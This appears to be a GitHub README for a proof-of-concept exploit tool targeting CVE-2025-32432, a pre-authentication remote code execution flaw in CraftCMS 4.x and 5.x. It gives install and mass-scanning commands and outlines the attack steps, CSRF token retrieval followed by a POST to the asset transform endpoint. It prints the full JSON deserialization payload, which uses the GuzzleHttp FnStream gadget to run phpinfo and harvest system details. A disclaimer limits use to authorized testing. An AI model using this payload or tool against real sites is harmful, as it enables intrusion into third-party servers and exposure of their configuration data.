sachinart/cve-2025-32432This repository contains a proof-of-concept exploit script for CVE-2025-32432, a pre-authentication Remote Code Execution (RCE) vulnerability affecting CraftCMS versions 4.x and 5.x. The vulnerability exists in the asset transform generation feature of CraftCMS.
This repository contains a proof-of-concept exploit script for CVE-2025-32432, a pre-authentication Remote Code Execution (RCE) vulnerability affecting CraftCMS versions 4.x and 5.x. The vulnerability exists in the asset transform generation feature of CraftCMS.
This exploit script automates the detection and verification of the vulnerability by:
⚠️ This tool is provided for educational and authorized security testing purposes only.
Only use this tool against systems you have explicit permission to test. Unauthorized testing against systems without permission is illegal and unethical.
# Clone the repository
git clone https://github.com/Sachinart/CVE-2025-32432.git
cd CVE-2025-32432
# Install required dependencies
pip install -r requirements.txt
To scan a single target:
python3 craftcms_rce.py -u example.com
To scan multiple targets from a file (one URL per line):
python3 craftcms_rce.py -f urls.txt -t 10
Where -t specifies the number of threads to use (default is 5).
-u, --url Single URL to test
-f, --file File containing URLs to test (one per line)
-t, --threads Number of threads (default: 5)
-h, --help Show help message and exit
The script will output results to the console and save vulnerable targets to vulnerable.txt in CSV format with the following columns:
Example console output:
[*] Testing single target: https://example.com
[*] Starting scan with 5 threads
[+] VULNERABLE: https://example.com
CRAFT_DB_DATABASE: example_db
HOME Directory: /home/example
=== SCAN SUMMARY ===
Total URLs scanned: 1
Vulnerable sites: 1
Detailed results saved to vulnerable.txt
This vulnerability exploits a deserialization issue in CraftCMS. The exploit:
/index.php?p=admin/dashboard to retrieve a CSRF token/index.php?p=admin/actions/assets/generate-transform with a specially crafted JSON payloadGuzzleHttp\Psr7\FnStream classphpinfo() and extracting specific system informationThe exploit takes advantage of an insecure deserialization in the asset transform generation process. The vulnerable code path allows an attacker to inject a custom PHP object that gets unserialized, leading to arbitrary code execution.
The key components of the payload:
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
Contributions, issues, and feature requests are welcome! Feel free to check the issues page.
This project is licensed under the MIT License - see the LICENSE file for details.